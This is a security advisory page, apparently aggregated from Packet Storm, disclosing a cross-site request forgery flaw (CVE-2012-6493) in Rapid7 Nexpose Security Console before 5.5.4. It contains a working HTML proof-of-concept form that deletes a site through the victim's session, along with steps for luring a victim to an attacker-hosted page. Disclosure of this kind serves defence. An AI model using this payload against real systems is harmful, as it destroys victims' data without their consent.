Nexpose Security Console Cross Site Request Forgery

🗓️ 05 Jan 2013 00:00:00Reported by Robert GilbertType

packetstorm🔗 packetstormsecurity.com👁 32 Views

Nexpose Security Console CSRF Vulnerability on Version < 5.5.

Reporter	Title	Published	Views	Family All 11
0day.today	Nexpose Security Console CSRF Vulnerability	6 Jan 201300:00	–	zdt
Circl	CVE-2012-6493	6 Jan 201300:00	–	circl
CVE	CVE-2012-6493	4 Feb 201417:00	–	cve
Cvelist	CVE-2012-6493	4 Feb 201417:00	–	cvelist
Exploit DB	Nexpose Security Console - Cross-Site Request Forgery	6 Jan 201300:00	–	exploitdb
EUVD	EUVD-2012-6346	7 Oct 202500:30	–	euvd
exploitpack	Nexpose Security Console - Cross-Site Request Forgery	6 Jan 201300:00	–	exploitpack
NVD	CVE-2012-6493	4 Feb 201422:55	–	nvd
Prion	Cross site request forgery (csrf)	4 Feb 201422:55	–	prion
securityvulns	CVE-2012-6493 - Nexpose Security Console - Cross-Site Request Forgery (CSRF)	5 Jan 201300:00	–	securityvulns

`Product: Nexpose Security Console  
Vendor: Rapid7  
Version: < 5.5.3  
Tested Version: 5.5.1  
Vendor Notified Date: December 19, 2012  
Release Date: January 2, 2013  
Risk: High  
Authentication: None required  
Remote: Yes  
  
Description:  
Multiple Cross-Site Request Forgery (CSRF) vulnerabilities in Nexpose   
Security Console 5.5.3 and below allow remote attackers to submit   
actions on a legitimate users behalf.  
By not properly checking each URL, an attacker can execute requests on   
behalf of a legitimate user.  
If an authenticated user is tricked into visiting a specially crafted   
page, it may be possible to perform user-initiated actions on the web   
application using the victims established session.  
Successful exploitation of this vulnerability resulted in deleting scan   
data and sites during the proof-of-concept.  
  
Exploit steps for proof-of-concept:  
1. Create an external site/page:   
http://attackersite.com/nexpose-csrf.htm that contains:  
[code]  
<html>  
<!-- Nexpose CSRF PoC -->  
<body>  
<form   
action="https://nexpose-security-console-site:3780/data/site/delete?siteid=1"   
method="POST" enctype="multipart/form-data">  
<input type="submit" value="delete site" />  
</form>  
<script>  
//document.forms[0].submit(); //uncomment to auto-submit  
</script>  
</body>  
</html>  
[/code]  
2. Lure victim to http://attackersite.com/nexpose-csrf.htm.  
3. Site with ID 1 is deleted when form is submitted.  
  
Vendor Notified: Yes  
Vendor Response: Quickly escalated and resolved.  
Vendor Update: Remediated in 5.5.4.  
  
Reference:  
CVE-2012-6493  
https://community.rapid7.com/docs/DOC-2065#release5  
https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)  
  
Credit:  
Robert Gilbert  
HALOCK Security Labs  
`

05 Jan 2013 00:00Current

0.2Low risk

Vulners AI Score0.2

EPSS0.00385